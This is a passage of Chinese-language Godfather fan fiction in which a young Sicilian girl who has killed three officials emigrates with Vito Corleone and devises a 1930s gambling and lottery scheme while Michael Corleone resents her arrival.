这是艾波日常送酒的路线,今天却不能走这条路。她从院门跑出去,沿着村庄弯曲的石头路向上跑,诡谲的乌云衬在房屋顶上,将一切衬得幽暗深沉。
光线太暗了,风也大,吹得她睁不开眼,加上脚踝的剧痛,以至于越过最后一道围墙,从村庄背面巨大白色岩石组成的山坡往下时,一脚踩空摔了一大跤。
她该哭的。无论是第一次杀人的恐惧,还是面对未知的命运,她都该哭一哭,宣泄紧绷的情绪。这里没有人,哭一小会儿,不会引起别人注意。
艾波在原地坐了几秒,等摔跤后大脑产生的苦杏仁味儿彻底消散,她立刻站起来,趔趔趄趄地往科里昂家的方位走。
时间不等人,越早做出应对越好。左右逢源、及时抽身只建立在强大的实力上,她已经选错过一次,不能再错第二次了。
和前几次一样,她绕道后门,刚敲了三下,木门就打开了。艾波知道自己的样子一定很糟糕,因为帮佣太太倒吸了一口凉气,回过神后才放她进屋子。
相比之下姆塞蒂大叔稳重许多,他递过来一块干毛巾,让她先在起居室门外简单擦去泥点和血块,自己先进去和主人家通报。
科里昂先生并不在家,只有桑蒂诺在擦拭枪械,为她们未来的行动做准备。
桑蒂诺对她的突然出现很吃惊:“艾波,出什么事了?”
“我杀了帕雷德斯和两名宪兵。”她平静地讲了经过。
桑蒂诺仍停留在第一句话的冲击里,他愣了几秒,猛地爆发出一阵畅快的笑,将艾波拽进怀里,用带着英语口音的西西里语说:“干得好!干得好!干得好!”
他力气不小,艾波被拽得撞上她热烘烘的胸膛,脸被整个埋住,鼻腔里全是他身上类似发霉松子的酸臭汗味,差点儿窒息得眼泪飙出来。
“噢,这事儿我得赶紧和爸爸说,你先坐一会儿。”桑蒂诺急吼吼地拎起电话,对那头的父亲说了一连串英语。艾波勉强听懂,就是复述了一遍她刚刚说的事。
没过一会儿,科里昂先生赶回来了,风尘仆仆的,是和维太里先生截然不同的高大身材。这让艾波更想父亲了,不知道他和安布罗斯有没有饿瘦。
“科里昂先生,我想求您一件事。希望您能仔细考虑,这可能影响科里昂家族在西西里的产业——把我提前介绍给您的朋友,不是托马辛诺,是马洛神父的兄长——克罗切,我愿意为您、他做任何事。只要您想办法把我父亲和兄长带回来。”艾波说得又快又急切,她知道谈判时不该露出底牌,应该狮子大开口、试探碾压对方底线,可她没有这耐心了,语速语气近乎无礼。
科里昂先生端详着她。那眼神既锐利又温和,像是在看她,又仿佛在透过她看某种触不可及的过去。片刻,他走过来,按上她的肩膀:“艾波,你是个好孩子,也是个聪明的孩子。你误判了我和克罗切的关系,但不要紧,我还是会帮你解决问题。”
他的手很重,仿佛压平打褶画卷的镇纸,熨帖地压在她的左肩,以及惶恐不安的心脏。“这是一场交易,我会通过私人手段,人脉、金钱把你父兄搞回来,还会疏通关系,让你姐姐再也不会遭受这样无礼的对待。代价是你要把第一忠诚献给我。你能做到吗?”
艾波低下头,沉默了几秒。人注定要抛弃一些珍视的东西,现代人的自尊在残酷现实面前不值一提,就在她膝盖弯曲,尝试着模仿中世纪油画、刺绣帐幔上的画面亲吻科里昂先生的手背时,他捏住她的手臂、制止了这个动作。
“桑蒂诺不用吻我的手,你也不用。”来自纽约的橄榄油商人这样说道。
唉。这下艾波总算领教到为什么有人冒着杀头的风险也要跟主公干大事了,一为利、二为尊重。把她一个九岁小鬼放在他大儿子相同位置看待,她还能怎么办?当然是死心塌地了。
她抬起头,听到自己嗓音很稳:“让我和维太里夫人说一声。”
和母亲说这件事很轻松,几乎艾波一开口,她就已经提前知道后面的内容了。等到全部听完,她一声不吭地站起来,打开衣柜,把她从小穿到大的衣服一样一样地摆到床上。
她的床铺很窄,安布罗斯来睡的话,翻个身都会掉下去。现在,那些衣服裤子铺满了整张床,四十多件,竟然也不小。
母亲一件一件地把它们折好、塞进皮箱子,满满当当地溢出来,箱盖合不拢,她又把它们拿出来,调整顺序,重新放一遍,好像这样做会产生什么魔法,缩减衣服的体积。显然,毫无用处。艾波看着她再次把衣服倒出来,重新叠进箱子,一次又一次。
等到第六次的时候,她终于忍不住了,泪水像掉了线的珍珠往下掉,吧哒吧哒地滴在无论如何也合不拢的皮箱盖。
艾波走过去,轻轻摸她粗糙的手背。仿佛山洪决堤般,她热烈地抱住她,亲吻并小声恳求:“我的小通心粉,妈妈求求男爵把你送去修道院,等躲到十五六岁了,你直接嫁给男爵或者他家里人,不会有事的。”
这是艾波有生以来第一次没有回应母亲的爱。她像石像一样站着,直到母亲恢复平静,缓缓从她的怀抱抽出身,“再见,妈妈。爸爸哥哥下周就会回来。”
维太里夫人意识到事情已经没有转圜的余地,她擦干眼泪,问道:“你呢?艾波洛尼亚,你什么时候回来?”
艾波没有说话。她已经离开了第一个故乡,现在又要离开第二个故乡了。她什么都保证不了。
“你想要吃什么?妈妈给你做。”
一昔动荡,家里哪有食物,连干得掉渣的面包都没有了。艾波看向窗外的小院,葡萄藤蔓葱茏、橄榄树影药业,只有那细瘦的柠檬树,结着灿烂的果子。
“柠檬,妈妈,给我带些柠檬去吧。”
就这样,艾波跟着科里昂离开了西西里。先坐火车,跨越大半个西欧抵达鹿特丹港,再乘坐邮轮穿过大西洋抵达纽约。
艾波没想到上船当天,她就发现了个大乌龙。
事情是这样的。托马辛诺大叔加买的船票是给西多尼亚住的女子舱,现在乘客换成了男孩模样的艾波,不太能退票,科里昂先生就得另想办法了。
他找来艾波,试图商量:“情况是这样,需要你换上康斯坦尼的裙子登船,白天你可以来我父子的舱室休息,晚上如果管家没有来检查船票,你也可以和我们一起睡。”
艾波正在啃一个三明治,蕃茄酱沾了大半个脸颊,她不明所以地抬起头:“穿女装我能接受,可为什么不检查就可以睡你们舱室?”
科里昂先生似乎噎了一下,“你要要是坚持恪守规则,并且不会不好意思和女人们一个房间睡也行。”
“为什么会不好意思,”艾波反应过来,不可思议地瞪大眼睛,“科里昂先生,我是女孩!”
话音方落,艾波就感觉眼前的一家之主反应迟钝了起来,上下打量好几眼,好像她是什么新大陆刚发现的、该被送进展览馆的奇怪动物。
她抢白:“我以为会有神父和您说!”
“……我只问了姆塞蒂。”维多.科里昂揉了揉眉心,“我会给你准备一份嫁妆。”
这思路转换得好快,也好大方。但艾波并不想要。“科里昂先生,我并不是有意隐瞒您,只是男孩的身份更容易在社会上活动。我相信您把我带到纽约,是有地方用得上我,而不仅作为您慈悲形象的吉祥物。”
“所以你愿意
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以男孩的身份生活?”他再次确认。
艾波郑重点头:“直到我发育,再也隐瞒不了。我会在那之前完成您交给我的目标,无论那是什么。”
“好。”维多.科里昂笑起来,揉了揉艾波的板寸,“以后叫我爸爸。”
*
那个艾波.维太里竟然要跟他们回纽约???迈克尔觉得一定是上帝在和他开玩笑。
他为什么要闯进他的生活?像是墙角的霉斑一样,起初毫不起眼,越变越大,逐步扩散最后侵占整座房屋。他拥有了桑尼的好感,得到了父亲的认可,下一步呢?是不是弗雷多会带他钓鱼,妈妈会给他做家传的意大利面,康妮会缠着他叫哥哥?
迈克尔满心愤懑,气得好像胸口摆了一百瓶剧烈晃动的可乐。
他决心盯紧那个骗子,防止诡诈的伎俩对他的家庭造成伤害。
从西西里回纽约的路途,他全程都很老实,不是在翻看一本书页咔擦作响的圣经,就是在数柠檬。那一兜柠檬背在他的肩膀,活脱脱缩小版的西西里农民。
迈克尔真的想不明白,总共八颗柠檬,那小子为什么要翻来覆去地数,像是最爱财的苏丹,一次又一次检查自己的收藏。他把这一行为归结为脑子不好,就像关在笼子里的鸡,总是会无意识地啄栅栏。
不过这个行为倒让迈克尔在心里给他取了个绰号——矮柠檬——长得不坏,但里面憋着倒牙的酸,充满欺骗性。
抵达荷兰的这一天早上,弗雷多悄悄和他说:“迈基,今天有好戏看了。”
“什么戏?”
“艾波会穿上康妮的裙子。”
迈克尔怀疑地看向二哥。
“哎,你相信我,”弗雷多笑眯眯的,“还记得我上次和你说的船票么?我听到爸爸在上一个车站打电话咨询了,不能换票、不能退票,最重要的是,男舱房全部售罄了。可我们来的路上你也感觉到了,检票蛮严格,回纽约只会更严。”
迈克尔顺着他的思路:“你是说,爸爸会让矮、艾波扮成女孩?”
“没错,等着瞧吧。”
迈克尔半信半疑,平时把三成注意力放到他身上,今天就至少放了六成,总是忍不住瞧那小子。
临上邮轮前的一个小时,全家在港口附近的小餐厅就餐,一同回纽约的十二位叔叔嚼着三明治,离他们一家五口不远不近的位置坐着。
明亮的海水反射日光,把人脸照得亮亮堂堂。父亲把矮柠檬叫到餐厅外面,两人靠着海边的护栏,说了一会儿话,回来时矮柠檬肃着一张小脸。
父亲来到母亲身边,和她耳语了几句,母亲就笑起来,起身牵着矮柠檬找餐厅老板,似乎是去拿行李。
“看吧。”弗雷多坐在他身后,瞧着母亲拿了一团布料手牵男孩走向餐厅的小厕所,坏笑说:“我们马上要多一个小妹妹了。”
妹妹?一想到矮柠檬船上妹妹的小裙子,迈克尔就止不住的恶心。
等待的时候总有些尴尬。他左顾右盼,发现桑尼似乎也知道这件事,但他毫不在意,仅远远瞥了一眼,便兴味盎然地继续看码头工人的扑克游戏。康妮有些沮丧,但妈妈好像提前允诺了什么,让她能忍住不发脾气。
终于,餐厅黑洞洞的厕所入口出现了人影,首先出现的是妈妈,毫无疑问,紧接着,迈克尔下意识地屏住呼吸,好让自己不至于把刚吃下去的午餐给吐出来。
很快,他就忘掉了呕吐相关的事情,因为他看见了一个粉色的纸杯蛋糕。蓬蓬的裙摆和无数个蝴蝶结,那恐怕是康妮最喜欢的裙子。噢,在这夸张的装饰上面的脸蛋儿,看起来像烤过头的蛋糕,焦棕色的,要折价才会有一两个勤俭的主妇买。
想到这个比喻,迈克尔再也忍不住,爆发出惊天的笑声。
5. Chapter05
当艾波看清科里昂夫人手里的裙子时,内心稍稍变扭,这裙子实在太少女了。层层叠叠的蕾丝,珍珠镶边的泡泡袖,可可爱爱的蝴蝶结……两辈子加起来,她都没穿过这么嗲的衣服。
科里昂夫人似乎将她的迟疑当成了不好意思,一面拉开裙子的后拉链,一面热络地解释:“康妮只穿过两次,我洗得很干净。也不用担心她不开心啦,我已经和她讲好了。”
都到这地步了,不穿不太可能。艾波只得接过裙子往身上套,康妮比她小两岁,裙子有些紧,好在有科里昂夫人帮忙,左右调整、又脱了短袖衬衫,到底是穿进了。感觉略有奇怪,下半身光溜溜的漏风,上半身被布料裹得出汗。
艾波不自在地捏着裙摆上的蝴蝶结。
“很漂亮。”科里昂夫人摸摸她的脸蛋,“有点黑,养养就更好看了。”
粉色显黑正常,身高太矮照不见镜子,艾波也不好意思求夫人把她抱起来,于是跳过这一节,指指自己的头发:“这个怎么办呀?”
衣服可以换,但头发一时半会儿长不出来,就她这板寸,怎么看都不正常。
对此,科里昂夫人变魔术般拿出来一顶蕾丝帽,上面有一枚超级大的蝴蝶结,和裙子相同颜色。她把帽子扣上艾波的脑袋,又将两根长长的蕾丝飘带交错、打成蝴蝶结。
“完美!”赞赏的目光,全然不似作伪。
一时之间,酸楚的思念一下子涌上鼻腔,她眼眶微胀,又有点想妈妈了。
跟在科里昂夫人身后走出厕所的时候,艾波心里想像着全家看到她这幅模样的反应。爸爸会跟着妈妈赞赏,然后吹胡子小声嘀咕这裙子的价钱;西多尼亚会摸摸裙子的各个部分,盘算着怎么把它改得更合身;德文特大概会嘲笑她,然后她的亲大哥安布罗斯会帮她出气……
不行不行,不能再想下去了。艾波仰起下巴,平整心情,走向外面的新……不知道该怎么定义和科里昂们的关系,家人?朋友?领导?同事?她无法确定,但至少不该在维多.科里昂面前表现出软弱。
餐厅和西西里差不多,白桌布铺在方形小桌,客人三三两两坐着。
艾波视线越过人群,落到她们那一桌,刚和科里昂先生的视线对上,准备撑出自信的笑,就听见一长串堪称肆无忌惮的笑声。
“哈哈哈哈哈哈哈哈——”
像一群七八岁的男孩蹬蹬地在堆放的钢管上瞎跳,发出让人太阳穴直打突的刺耳噪音。
艾波看向声音的来源,是科里昂家的幺子,迈克尔。这些天的旅途,他们从未交谈过。她和康妮翻花绳,和桑蒂诺讨论子弹重量和尺寸,就连看起来内向的弗雷多,都能和她评价各地的萨拉米几句。只有这位迈基,每当她想要和他搭腔时,他总是迅速板下脸,防备地转过头去,好像她携带了病毒或跳蚤。
她没有往心里去,猜测他可能有洁癖,毕竟皮肤白、身材细瘦,在她的刻板印象里,这样的男孩多少有些孤僻古怪。
直到此刻,艾波明明白白从他的笑声里听出讥讽和恶意——他不欢迎她。
如果有选择,她也不愿意跟着他们去美国啊。
讨厌的笑声,讨人厌的人。艾波越想越委屈,八月以来的压力如同一双无形的手,榨取柠檬汁一样挤压她的神经,担心父兄、担心母姐、担心未知的纽约生活……想到这里,仿佛行者面对无望的旅程生出摆烂的想法,她心一横,索性不再忍耐,放任眼泪决堤,簌簌滑落脸颊。
“迈克尔!”科里昂夫人喝止了儿子的笑声,牵起艾波的手来到桌边,取出手帕耐心地拭去她的泪水。
科里昂先生沉默地看着挤眉弄眼的老二和愤愤不平的老三,唤来大儿子,以一种举重若轻的语气吩咐:“桑蒂诺,把你弟弟们带出去,给他们讲讲艾波家发生的可怜事,今后我们是一家人。”
一家人。很多年后,艾波才渐渐懂得这个词在科里昂家族的份量。
抵达纽约的第一天夜,科里昂夫人收拾行李,康妮到处找她新买的洋娃娃,桑尼和汤姆打了莫名其妙的一架、又莫名其妙和好,弗雷多替亲哥加油喝彩反被揍了一顿……小小的公寓闹哄哄的。
在这乱得堪比情景喜剧的场景里,科里昂先生将她介绍给自己的心腹:“这是阿波罗.维太里,我的义子。他父亲是特里.维太里。”
在座的三位头目并未对她父亲的名字做出反应,仍旧观察着她。显然不认识她父亲。
维多.科里昂轻描淡写地丢下一句话,打碎了他们的平静。“艾波靠着一把旧□□杀了三名宪兵。”
左手边的矮胖男人克莱门扎猛地转过头,惊奇地上下打量她,仿佛她体内蕴含某种神秘力量。“你是怎么做到的?”
这不是很好的回忆,艾波说得言简意赅:“那臭虫看上了我姐姐,正好,她帮我吸引注意力,等他走近以后直接崩了。另外两个也差不多。”
但三个头目似乎将她的态度当作谦逊,看她的眼光多了一点不一样的东西。
被称为军师的詹科直接感叹:“这下我知道唐为什么要把你带来了。”
忒西奥试探性地建议:“他是个生面孔,也许可以到布鲁克林来。”
维多.科里昂笑着拒绝:“这不是我的打算。艾波头脑很灵活,我希望他好好上学,课余时间跟着詹科学做生意。她的头脑好到能在几天内纯靠数据,抓到丢失的货物。”
这当然不是维多.科里昂真正的意思。他真正的意图,才是对她的第一重考验。
这并不难。艾波只花两周时间就搞明白了局势。
科里昂家族在前一年经历了一场大选,蚕食鲸吞失败者马兰扎诺的势力,但慈悲且善解人意的维多.科里昂没有赶尽杀绝,而是向马兰扎诺的侄子抛出橄榄枝,支持他牵头成立一个松散的联合委员会。
这是十分有远见的选择,能更牢固地攥紧手头的利益,也能共同抵御外部压力和风险,同时资源互换。
“分蛋糕和做蛋糕的人不能多。一个是不够吃;另一个是人多主意多,万一出了意外,很有可能鸡飞蛋打。”艾波站在维多.科里昂的新书房里,望着昏暗光下里静坐着的头目们冷静陈述,“所以要把主要委员的数量控制在合理的范围内。”
就像现在的国联,日后的联合国一样。
她报出五大家族名字,“他们都是我们的朋友,是我们掌控这座城市的合伙人。而剩下的那些游勇散兵——放贷者、收保护费的打手、地□□育彩票的登记点,这些都该纳入我们的管理范围。”
就像失去狮王的东非草原,这部分无主的牧场并不止有科里昂家族看到了,其余五大家族同样垂涎。猎物过多,一口吞下要是消化不良,那就不好了。
“我的想法是稳抓菠菜。有西西里的新鲜血液不断补入,我们并不缺优质打手,没有收编这些混混的紧迫性。至于高利贷,它总是和赌博分不开,拿下了菠菜,它自然就被我们捏在手心里了。”
说到这里,艾波看到坐在皮
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圈椅的唐,嘴角终于慢慢地扬起,浮出一个笑容:“那么,艾波,你有什么具体的方案呢?”
*
迈克尔怎么都没想到矮柠檬会哭,更没想到爸爸妈妈连带着桑尼都站在他那一边。
他和弗雷多来到半小时前父亲和矮柠檬谈话的位置,站到这里,迈克尔才意识到海面的闪光亮到多让人难受。
“艾波很可怜。”桑尼说,“她爸爸和哥哥被抓去北非了。没有了主要劳动力,她妈妈一个人要照顾她姐姐、她二哥和她三个人。她那天就是来找我和爸爸寻求帮助的,她想要和我们去纽约,给家里省下一份开销,如果她在纽约干得好,也许她还能给家里寄回一些钱。”
“太可怜了……”弗雷多发出小狗一样的声音。
迈克尔一声不吭。顶着灼眼的闪光眺望海面,细白的浪花轻轻跃起,那星星点点的形状仿佛滚落的泪珠。桑尼的话,他最多相信一半。
矮柠檬姐姐年纪不小了,完全可以嫁人以减少家庭负担,还能把弟弟接去夫家住。他有位同学就是这样,长期寄住在姐夫家。
迈克尔认为这只是矮柠檬博取同情的说法。不过他相信她家出现重大变故,毕竟她那天的狼狈模样不可能作假。
桑尼又说了一些有的没的,声音随风飘在耳边,迈克尔没有仔细听。他一直盯着那溅起的浪花,忽然没头没脑地想,海水是咸的,眼泪是咸的,纸杯蛋糕是甜的,柠檬是酸的,他不讨厌笑着的矮柠檬。
“所以,你们能好好对待艾波吗?”
弗雷多认真回答了。桑尼看向他,似乎一定要个承诺。迈克尔不情不愿地点下头。
桑尼满意了。
之后的日子,迈克尔很不满意。
先是全家从曼哈顿搬去北面的布朗克斯,虽然公寓的面积变大了,可他的房间并没有变大,每天还多花四十分钟在往返学校的路上。
父亲建议他转学,读布朗克斯的中学,“保利你认识吗?就是你教父邻居的儿子,他就读那个学校,比你小一个年级。”
迈克尔才不想换学校。重新认识新同学倒是其次,主要是他不想表现得被矮柠檬影响,好像他这样做了就在某种程度上屈服了。
是的,被影响。迈克尔发誓搬家和矮柠檬脱不开关系。他那天听见母亲和父亲抱怨,家里人口多房间不够。
父亲怎么说的来着?让弗雷多和他住一个房间,多出来的卧室给艾波住。要不是年纪长相对不上,迈克尔都要怀疑矮柠檬是父亲的私生子了。
除了搬家,大人们对矮柠檬的态度也让迈克尔不舒服。胖乎乎的教父彼得,瘦高的萨利叔叔以及浓眉大眼的詹科叔叔,他们全都很喜欢矮柠檬。
并不是对他和弗雷多这样,见到摸摸脑袋、塞点钱、塞点糖的喜欢,是那种带着一些教导、像工匠打磨作品的严厉喜爱。
搬到新家的第六天,迈克尔看到父亲神秘伟大的书房门打开,堂而皇之的,矮柠檬从里面出来。她那张白了不少的小脸闪烁着跃跃欲试的自信神采,路过时冲他轻轻一点头。
借由未闭合的门缝,迈克尔依稀望见宏大书房里,长辈们脸上浮着一层浅淡的笑意。
而坐在宽厚书桌后方,气势夺人的男人、他的父亲当然也看到了他,但那眼神虚飘飘地扫过,像是在看一件无甚重要的、衣服、水杯之类的东西。
紧接着,门无情地合上了。
这一刻,迈克尔不得不承认,他嫉妒阿波罗.维太里。
6. Chapter06
艾波的计划说来也不新奇,就是降低利润、抢占市场、狙击对手、形成垄断。
“马兰扎诺的老办法——类似中世纪分封领地、收捐纳贡的统治方式,我们提供武力支持、协调政警关系、各个簿记点给我们提供8%的佣金。这法子行不通。”艾波口气很大,颇为颐指气使。
在坐的大人却没有流露反感,忒西奥耐心纠正:“6%,这是让原先簿记和投注点的人员不离开的价码。不然他们就跑去给犹太人算帐了。”
这说的是炮制黑袜丑闻的犹太人卢斯特,克莱门扎和詹科低笑起来。
等笑声停止,艾波面无表情抛下一声惊雷:“还是太高。今后我们要把佣金降低到5%。“
三位头领对视一眼。詹科直接说:“这样做了,我们就养不活那么多人了。”
“还会养肥簿记点,而且其他黑手党会认为我们软弱可欺。”忒西奥补充。
“不会发生。”艾波摇头,“因为我们会建立更严密高效的组织架构。首先,设立一个中央交易所,实时汇聚各簿记点的投注数据,计算后划定统一的赔率,也就是大家说的赛线。不能用簿记点自己计算了。其次,所有的簿记点都该遁入杂货店、冰淇淋店、咖啡馆,成为触手可及的娱乐活动。这样一来,簿记点只需要留一位看场子的人,其余公布赔率之类的工作,可以交给店铺员工或者家属去做。成本减轻许多,而对店铺来说,则增加一个招徕生意的方式。”
“这样打不败我们的对手。”詹科.阿班多失望地评价,“也赚不到钱。”
艾波不慌不忙:“中央交易所的用处就在这里了。我们不仅要制定自己的赛线,还要计算对手的——卢斯特、巴西尼、斯特拉齐、库尼奥,要让我们的客人赚得比他们多,塑造出我们的簿记点”
说到这里她停下来,在胸前画了一个十字,“格外受上帝眷顾,赌博嘛,总是要祈祷一二的。到时候,我们再炮制一两个大奖,人们自然愿意光顾。”
“此外,除了给看棒球篮球赛马的成年男性的菠菜,我们还可以搭配出一些彩票,卖给家庭主妇。这个算是边角料,但也算是一项收入,弥补前面的损失。”
艾波大概说了几个数字:“通过这套规则,我参考前一年抽上来的佣金,哪怕在维持现有规模的前提下,年净收入能达到二十万。这只是初步计算,实际操可能会赚得更多。”
谁不爱钱呢?在她说完这句话后,克莱门扎和忒西奥一齐看向善于做生意的阿班多,后者在黄色便签本快速写写画画,足足写了两页,才一点头:“至少能赚二十万。”
两位头领轻松地笑了
维多.科里昂也笑了。隔着宽大的书桌,艾波与他遥遥对视,眼神交错间,艾波知道他已经清楚这个计划的深层好处。
收入增加是其次的,更重要的是权力。中央交易所牢牢捏住簿记点的命脉,同时,握住了簿记点店铺的心思,无形间多了一大群忠心的、不知道科里昂家族身份的拥趸。
更别提该计划的隐蔽性,哪怕被黑警察抓住,也很难给政商届的朋友带去麻烦。毕竟那些居民只是想买些日用品,什么地下彩票?这不是店铺的庆祝活动吗?
唐.科里昂一锤定音:“就这么办吧。”
*
迈克尔从没有感觉那么糟糕过。没错,他的爸爸威严又强大,能得到他的认可是每一个人的荣幸。可为什么是阿波罗.维太里?
一个英语莫名其妙带着英腔的西西里小混蛋。他仍记得她第一次说这里和什么的发音,活脱脱矫揉造作的英国佬,真不知道他哪里学来的。他肯定会因为口音被同学嘲笑。
想到那些刻薄的小学男孩会给他取各种绰号,迈克尔竟然没有觉得畅快。他想可能是爸爸那句一家人在作祟,哪怕他不想承认矮柠檬也是科里昂家的一份子,侮辱他等于侮辱科里昂。
随后,迈克尔迅速意识到,他和那些讨人厌的男孩没有差别。他似乎过于关注那家伙了。这实在不同寻常。他并不是他第一个义兄弟,为什么不能像对待汤姆一样对待阿波罗呢?
迈克尔被这个想法吓了一跳,做兄弟?简直可怕。还不如不去想那家伙,当他不存在呢。
放学到家立刻回房间做家庭作业,晚饭后和弗雷多在路灯下练习棒球投球。迈克尔心情不好,总会因为一些小问题怼弗雷多,然后两人好好打一架。这是他们兄弟的相处方式。
一连几周,他都没有正眼瞧阿波罗一眼,更没有在闭眼之外的时间想起他的名字。
这天周日,上午照例全家去教堂做礼拜,出来后父亲和叔叔们径自离开,似乎有很重要的事。母亲带他和弗雷多回家。
吃过午饭,迈克尔想待在家里看书,可母亲和康妮在厨房里跟着广播节目做水馅饼,声音开得很响,他忍耐了一个多小时,最终不得不离开家门,想要找个僻静的角落。
十月的天气不错,天空像块蓝玻璃镶嵌在一幢幢方块形的房子上头。
路过报摊的时候,一群男孩挤在一起,正踮脚仰头瞧最中心的人。迈克尔在人群边缘看到了二哥,脖子伸得老长,好像里面有什么宝藏一样。
“什么事?”他走过去问。
弗雷多做了个嘘的手势,继续往里瞅,生怕错过了神秘好戏。
通过人群的缝隙,迈克尔瞧见最中心也是名意大利裔男孩,身材瘦长,一头来自意北的脏金色卷发,好像叫保罗,是弗雷多的同学。
男孩们忽地炸开般,爆发出得到心仪圣诞礼物般的欢呼:“三颗小蓝星!两颗小红星!一百刀!一百刀!”
有个变声期的男孩甚至叫破音了。
“好吧好吧,”报摊老板抬手做了和安抚的手势,心不甘情不愿地从一堆报纸底下翻出墨绿铁皮盒,用钥匙打开,拿出最底下的白色信封,指着上面的字说:“喏,保罗小子,钱在纸袋子里面,你先在这里签字,承诺本摊位已经兑现了奖金。”
中了大奖的保罗看也没看,接过钢笔嚓嚓签下名字。
报摊老板拿回信封,当着所有人的面举起,捏住两段轻轻往两边一扯,只听卡拉一声,白信封对半分开,露出里面绿油油的钞票,边缘平滑,恰好把签名和信封一分为二。原来这信封中间,模仿邮票钻出一列细密的小孔,极方便扯开。
拿到钱的保罗在同伴们的簇拥下欢呼着离开,留下弗雷多和另外一名小男孩。
报摊老板直接对那个还没桌子高的男孩说:“彩票只能十二岁以上买,你要是想玩,就把你家里人叫来。”
男孩遗憾地收回递出的二十五美分,摊主又对弗雷多说:“你是唐.科里昂的儿子,我现在好心劝你,不是玩它的好时候。”
父亲从不鼓励他们玩这些东西。迈克尔敢打包票,弗雷多前脚离开摊位,后脚这老板就会给父亲打电话。
二哥脸上一闪而过的犹豫,那一百美元的诱惑实在巨大。他知道弗雷多想买一套新鱼竿,搭配新款远投纺轮至少要三十五刀,这价格够布鲁克林中型公寓一个月的租金了,妈妈不会答应的。
“弗雷多,我们去看电影吧,”迈克尔出声提醒,二十五美分正好够看一场,他口袋里还有三十美分,多出来的五美分还能买点爆米花。
“不,”弗雷多摇头,转头朝老板笑得讨好,“只是尝试一下,别和我爸爸说,要是中奖了我买你一本杂志。要是没中奖我、我也买你一份报纸。”
这确实很划算。
摊主屈服了。他从放墨绿铁皮盒的位置拿出一把纸条,不长、大约六英寸,每根白纸条的前端都像火柴一样涂有色块,红红绿绿的,捏在手里像是意大利国旗幻化而成的花束
“红色每根两美分……”
话还没说完,弗雷多就迫不及待地打断,往叠得满满的纽约时报表面拍上一美元。“给我绿色的,三十根!”
相比他的急切,老板像是根本不想做成这单生意一般,把纸条放到报摊上,在弗雷多急得磨鞋尖的催促声里,慢吞吞地解开捆绳,细细数出三十根绿色头的纸条。
在递给弗雷多之前,摊主又说:“你再确认一下,没有任何特殊标记和折痕。”
“行、行”弗雷多不迭地说,他眼珠子都要沾到那绿色色块里面去了,好像那微微凸起的颜料底下就藏着他的鱼竿。
纸条到弗雷多手里时,迈克尔注意到这所谓的色块不过是带颜色的蜡块,指甲轻轻一刮就能把它推开,露出下面的字儿来。
刮下来的蜡块也不会浪费,全都被老板用刷子扫进一个圆筒铁罐里。
“这个之后还会重复使用吗?”迈克尔问。要是在店里涂沾记号,摊主有的是作弊技巧。
老板听出他的言外之意,立刻自证清白般手舞足蹈:“妈妈咪呀,蜡块有专人来收,每罐抵两美元。至于这个彩票,它是赫尔墨斯益智玩具公司出品的。你瞧,蜡上面还有印章。”
确实,无论纸条上绿色还是红色的蜡块,表面都有一个双头蛇杖,“蹭着金粉哩,我这小本生意可用不起这个。”
那头,弗雷多刮了七八条后,突然停下动作祈祷起来。
老板见怪不怪,趁这时间给迈克尔介绍:“最大中奖金额是三十刀
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,但不保证在我这个摊位里。绿色每根五美分,六根二十五美分,最大奖金你见到了,一百刀。”
迈克尔点头,他并不想要尝试,不止是因为爸爸不喜欢,更因为他觉得没意思。为了可能出现的一百美金而花掉手里已有的一美金?实在有些蠢。
他预感弗雷多一分钱都得不到。果然——
一小时后,弗雷多花光最后五美分,颓废地站在马路边,手里捏着一把无用的纸条。
迈克尔斟酌着安慰:“至少中了三刀。”虽然这钱没来得及到他手里,就迅速变成新的彩票条。
“唉…第三次就应该收手的。”
“走吧,”迈克尔摸着兜里的三十美分,“我请你吃冰淇淋。”
“好。”弗雷多仍旧握着纸条,迈克尔知道他不舍得这么快丢掉。
兄弟俩往街口走去,那里有一家非常正宗的意式冰淇淋店,店主也是父亲的朋友。迈克尔打算在那里看会儿书。
没等走近,几个二十多的单身汉急匆匆地自他们身边跑过,嘴里念叨着:“萨拉冰淇淋,萨拉冰淇淋,就在这附近……”
到了冰淇淋店附近,马路边上已经排了一溜儿的人,还有几辆不像是这个街区的高档小轿车。
店门的另一头,已经买到冰淇淋的客人也不离开,就站在路边舔甜筒,店门口的柜台上摆着的大型收音机正播放着赛事情况。
“比赛快要结束了。”弗雷多和他说,“这些都是来押注的。”
迈克尔也听出来了,诧异怎么突然那么多人来这里。正纳闷,队伍前面的闲聊解答了疑问。
“……上周那场酿酒人队打红人队,上帝呀,中奖的那小子可真运气。”
“是啊,整整五千刀的奖金,他还只买了十注。我要是他,一定买一百注,也就花五十刀,可赚的是五万!”
“哈哈哈,你还想赚?是谁上周信誓旦旦说红人队一定会输?”
“唉……”
迈克尔算是明白了,还是赌博、还是头奖。他兴致缺缺地把钱给弗雷多:“我不想吃了,你吃吧。家里妈妈做了水馅饼,好像是柠檬味的。”
弗雷多还想继续听热闹,接过三枚硬币,把抽奖的彩票条塞给他:“你帮我放进房间,别弄丢了。”
“肯定不丢,”迈克尔调侃,“这可值五美元呢。妈妈一定很喜欢。”
“嘿!”弗雷多作势挥拳,“你要是敢告诉妈妈,我一定揍得你下不来床。”
迈克尔冲他做了个鬼脸,跑离了队伍。
回家的路上,他思索着彩票条和那五千刀。
那人花了五美元,赚到了五千。这赔率太奇怪了。况且城里那么多簿记点,哪怕那场赛事再冷门,也不可能只有那人赚到了便宜。整件事处处透着古怪。
另外,报摊老板劝说弗雷多时说现在不是玩它的好时候,那么什么是好时候呢?他想,一定不是刚开出一百刀的现在。肯定存在某种规律,越长时间没有开出奖,越容易出现大奖……如果他能搞到各个报摊点位的出奖金额,卡住时间去购买,一定能中奖。
正当迈克尔在思考这件事的可行性时,不知不觉已经来到自家公寓的楼道,楼梯上方传来一阵脚步声。
男孩快步跑下来,迎面相遇,猝不及防地对视了。
这是迈克尔近一个月以来第一次打量他。相比刚来美国时,他的头发长长不少,松散地蓬在头顶,既不像桑尼蓬乱的卷发,也不是自己这样的直发,微微卷曲,让人联想到宠物狗柔软蜷曲的毛,莫名好摸。他的皮肤也白了许多,脸却没有变胖,还是那副骨线略微分明的瘦削模样,配合那双水汪汪的大眼睛,非常能博人同情。
母亲和康妮做的水馅饼一定大成功。有那么一瞬间,迈克尔思路跑偏,因为空气中弥漫着一股浅淡的柠檬香,不止是柠檬,更有葡萄和柑橘花,让人不由自主想要深呼吸,好让肺里也充满这股味道。
